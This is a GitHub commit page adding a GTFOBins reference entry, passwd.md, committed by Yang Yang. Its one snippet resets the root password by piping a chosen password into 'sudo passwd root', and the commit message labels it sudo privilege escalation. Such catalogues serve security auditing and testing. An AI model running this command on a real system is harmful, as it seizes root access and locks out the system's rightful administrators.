Create passwd.md

Add sudo privilege escalation using passwd binary
This commit is contained in:
Yang Yang 2024-09-14 18:49:56 +08:00 committed by GitHub
parent 61314d55d0
commit a5d4c6b9d0
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

7
_gtfobins/passwd.md Normal file
View File

@ -0,0 +1,7 @@
---
functions:
sudo:
- code: |
PASS=new_password_here
echo -e "$PASS\n$PASS" | sudo passwd root
---